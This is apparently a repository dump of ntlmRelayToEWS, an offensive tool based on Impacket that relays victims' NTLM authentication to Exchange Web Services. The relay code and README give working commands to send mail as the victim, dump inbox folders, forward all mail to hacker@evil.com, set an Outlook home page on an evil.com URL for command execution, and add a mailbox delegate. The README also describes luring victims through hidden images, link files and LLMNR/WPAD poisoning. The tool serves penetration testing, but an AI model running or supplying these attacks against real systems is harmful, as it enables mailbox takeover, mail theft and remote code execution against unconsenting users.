" + str(e)) sys.exit(1) # Set output verbosity if args.verbose: logger.init() #----------------------------------------------------------------- # Preparing the SOAPXMLRequest for the send eMail EWS Service #----------------------------------------------------------------- if args.request == "sendMail": if args.destAddresses and args.message and args.subject: #--- Get the message from file try: with open(args.message) as fileHandle: message = cgi.escape(fileHandle.read()) fileHandle.close() print helper.color("[+] File [{}] successfully loaded !".format(args.message)) except IOError: print color("[!] Could not open or read file [{}]".format(args.message)) sys.exit(1) #--- Prepare the destAddresses block destAddressBlock = "" destAddresses = args.destAddresses.split(',') for destAddress in destAddresses: destAddressBlock = destAddressBlock + "{}".format(destAddress) #--- Prepare the final EWS SOAP XML Request body body = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'Subject': args.subject, 'Message': message, 'DestAddressBlock': destAddressBlock}, templatesFolder + "sendMail.tpl") else: print helper.color("[!] Missing mandatory arguments for [sendMail] request. Required arguments are: subject / destAddresses / message") sys.exit(1) #----------------------------------------------------------------- # Preparing the SOAPXMLRequest for the get folder items EWS Service #----------------------------------------------------------------- if args.request == "getFolder": if args.folder: #--- Prepare the final EWS SOAP XML Request body body = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'Folder': args.folder},templatesFolder + "listFolder.tpl") else: print helper.color("[!] Missing mandatory arguments for [getFolder] request. Required arguments is: folder") sys.exit(1) #----------------------------------------------------------------- # Preparing the SOAPXMLRequest for the set home page EWS Service #----------------------------------------------------------------- if args.request == "setHomePage": if args.folder and args.url: #--- Prepare the final EWS SOAP XML Request body body = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'Folder': args.folder}, templatesFolder + "getFolderID.tpl") else: print helper.color("[!] Missing mandatory arguments for [setHomePage] request. Required arguments are: folder / url") sys.exit(1) #----------------------------------------------------------------- # Preparing the SOAPXMLRequest for the forward rule creation EWS Service #----------------------------------------------------------------- if args.request == "forwardRule": if args.destAddresses: #--- Prepare the final EWS SOAP XML Request body body = helper.convertFromTemplate({'ExchangeVersion': exchangeVersion, 'DestAddress': args.destAddresses}, templatesFolder + "forwardRule.tpl") else: print helper.color("[!] Missing mandatory arguments for [forwardRule] request. Required arguments are: destAddresses") sys.exit(1) print helper.color("[*] Running in relay mode to single host") targetSystem = TargetsProcessor(singletarget=args.target) #----------------------------------------------------------------- # Preparing the SOAPXMLRequest for the add delegate EWS Service #----------------------------------------------------------------- if args.request == "addDelegate": if args.destAddresses: # In the case of adding a delegate, the first request is a GET (so no body) body = None else: print helper.color("[!] Missing mandatory arguments for [addDelegate] request. Required arguments are: destAddresses") sys.exit(1) print helper.color("[*] Running in relay mode to single host") targetSystem = TargetsProcessor(singletarget=args.target) #----------------------------------------------------------------- # Setting up relay servers #----------------------------------------------------------------- for server in RELAY_SERVERS: #Set up config c = NTLMRelayxConfig() c.setTargets(targetSystem) c.setOutputFile(args.output_file) c.setEWSParameters(body, args.request, args.folder or None, args.destAddresses or None, args.url or None) c.setMode('RELAY') c.setAttacks(ATTACKS) if args.machine_account is not None and args.machine_hashes is not None and args.domain is not None: c.setDomainAccount( args.machine_account, args.machine_hashes, args.domain) elif (args.machine_account is None and args.machine_hashes is None and args.domain is None) is False: print helper.color("[!] You must specify machine-account/hashes/domain all together!") sys.exit(1) s = server(c) s.start() print "" print helper.color("[*] Servers started, waiting for connections") while True: try: sys.stdin.read() except KeyboardInterrupt: sys.exit(1) else: pass ================================================ FILE: readme.md ================================================ ntlmRelayToEWS ============ Author: Arno0x0x - [@Arno0x0x](http://twitter.com/Arno0x0x) **ntlmRelayToEWS** is a tool for performing ntlm relay attacks on Exchange Web Services (EWS). It spawns an SMBListener on port 445 and an HTTPListener on port 80, waiting for incoming connection from the victim. Once the victim connects to one of the listeners, an NTLM negociation occurs and is relayed to the target EWS server. Obviously this tool does **NOT** implement the whole EWS API, so only a handful of services are implemented that can be useful in some attack scenarios. I might be adding more in the future. See the 'usage' section to get an idea of which EWS calls are being implemented. Limitations and Improvements ---------------------- **Exchange version**:
I've tested this tool against an **Exchange Server 2010 SP2** only (*which is quite old admitedly*), so all EWS SOAP request templates, as well as the parsing of the EWS responses, are only tested for this version of Exchange. Although I've not tested myself, some reported this tool is also working against an **Exchange 2016 server**, out of the box (*ie: without any changes to the SOAP request templates*). In case those SOAP requests wouldn't work on another version of Exchange, it is pretty easy to create the SOAP request templates to match a newer version by using the Microsoft EWS Managed API in trace mode and capture the proper SOAP requests (*that's how I did it !*). **EWS SOAP client**:
I would have loved to use a SOAP client in order to get a proper interface for automatically create all SOAP requests based on the Exchange WSDL. I tried using '**zeep**' but I banged my head on the wall to get it working with the Exchange WSDL as it requires to download external namespaces and as such requires an internet connection. Also, with 'zeep', the use of a custom transport session requires a `Requests.session` which is not the type of HTTP(S) session we have by default with the HTTPClientRelay: it would have required either to refactor the HTTPClientRelay to use '*Requests*' (*/me lazy*) or to simply get zeep to create the messages with `zeep.client.create_message()` and then send it with the relayed session we already have. Or is it because I'm a lame developper ? oh well... Prerequisites ---------------------- **ntlmRelayToEWS** requires a proper/clean install of [Impacket](https://github.com/CoreSecurity/impacket). So follow their instructions to get a working version of Impacket. Usage ---------------------- **ntlmRelayToEWS** implements the following attacks, which are all made on behalf of the relayed user (*victim*). Refer to the help to get additional info: `./ntlmRelayToEWS -h`. Get more debug information using the `--verbose` or `-v` flag. **sendMail**
Sends an HTML formed e-mail to a list of destinations:
`./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "user1@corporate.org,user2@corporate.com" -s Subject -m sampleMsg.html` **getFolder**
Retrieves all items from a predefined folder (*inbox, sent items, calendar, tasks*):
`./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox` **forwardRule**
Creates an evil forwarding rule that forwards all incoming message for the victim to another email address:
`./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -d hacker@evil.com` **setHomePage**
Defines a folder home page (*usually for the Inbox folder*) by specifying a URL. This technique, uncovered by SensePost/Etienne Stalmans allows for **arbitray command execution** in the victim's Outlook program by forging a specific HTML page: [Outlook Home Page – Another Ruler Vector](https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/):
`./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r setHomePage -f inbox -u http://path.to.evil.com/evilpage.html` **addDelegate**
Sets a delegate address on the victim's primary mailbox. In other words, the victim delegates the control of its mailbox to someone else. Once done, it means the delegated address has full control over the victim's mailbox, by simply opening it as an additional mailbox in Outlook:
`./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r addDelegate -d delegated.address@corporate.org` How to get the victim to give you their credentials for relaying ? ---------------------- In order to get the victim to send his credentials to ntlmRelayToEWS you can use any of the following well known methods: - Send the victim an e-mail with a hidden picture which 'src' attribute points to the ntlmRelayToEWS server, using either HTTP or SMB. Check the `Invoke-SendEmail.ps1` script to achieve this. - Create a link file which 'icon' attribute points to the ntlmRelayToEWS using a UNC path and let victim browse a folder with this link - Perform LLMNR, NBNS or WPAD poisonning (*think of Responder.py or Invoke-Inveigh for instance*) to get any corresponding SMB or HTTP trafic from the victim sent to ntlmRelayToEWS - other ? Credits ---------------- Based on [Impacket](https://github.com/CoreSecurity/impacket) and *ntlmrelayx* by Alberto Solino [@agsolino](https://twitter.com/agsolino). DISCLAIMER ---------------- This tool is intended to be used in a legal and legitimate way only: - either on your own systems as a means of learning, of demonstrating what can be done and how, or testing your defense and detection mechanisms - on systems you've been officially and legitimately entitled to perform some security assessments (pentest, security audits) Quoting Empire's authors: *There is no way to build offensive tools useful to the legitimate infosec industry while simultaneously preventing malicious actors from abusing them.* ================================================ FILE: sampleMsg.html ================================================ Hello, my mailbox has been...

PWNED!!